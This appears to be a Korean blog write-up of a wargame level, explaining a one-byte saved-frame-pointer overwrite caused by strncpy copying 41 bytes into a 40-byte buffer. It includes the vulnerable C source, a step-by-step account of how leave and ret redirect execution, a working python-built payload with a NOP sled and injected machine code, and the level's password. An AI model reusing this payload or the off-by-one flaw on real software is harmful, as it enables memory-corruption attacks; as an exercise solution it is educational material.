2011. 6. 8. 20:47

⊙ 문제의 소스를 보자)

#include <stdio.h>

#include <stdlib.h>

   

void problem_child(char *src)

{

char buffer[40];

strncpy(buffer, src, 41);

printf("%s\n", buffer);

}

   

main(int argc, char *argv[])

{

if(argc<2){

printf("argv error\n");

exit(0);

}

   

problem_child(argv[1]);

}


   

♧ 이번 문제는 RET이 아닌 SFP의 1Byte를 변조하여 프로그램의 실행 흐름을 바꾸는 문제이다.

(자세한 내용은 [ 참조 1 ] [ 참조 2 ] 에서 보도록 하자)

① main에서 problem_child() 호출
② probelm_child에서 strncpy(buffer, src, 41)를 통해 SFP를 1Byte만 변조 한다.

(*strncpy 호출 후 스택 내용)

③ problem_child의 프레임에 leave 명령을 통해

mov ebp, esp

pop ebp

SFP가 있는 곳으로 이동 후 변조된 ebp값을 pop 함으로써 main()의 ebp값은 변조된 ebp값으로 저장.

④ child 프레임의 RET을 통해 다시 main 프레임으로 복귀.

⑤ main 프레임의 leave가 수행된다.

5-1) mov ebp, esp에 의해 변경 되어 버린 ebp로 esp가 이동.

5-2) pop ebp에 의해 esp는 4Byte가 증가하게 된다.

(esp+4의 위치는 RET의 위치이다.)

마지막으로 ret 명령으로, eip 는 esp를 참조해서 다음 실행할 주소로 점프 한다.

   

♧이렇듯 1Byte의 변조만으로 실행흐름이 바뀔 수 있다.


   

∑ 익스 플로잇 작성!

① 대략적인 구성. ( buffer 주소 :: [ 0xffffac4 ] 위 그림 참조.)

   

② 공격 스크립트 작성

$(python -c 'print "\xcc\xfa\xff\xbf"*2 + "\x90"*15 + "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3" + "\xc4"')

   

③ ∑xploit

성공!!!


  

※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함.

golem : "cup of coffee"

Posted by devanix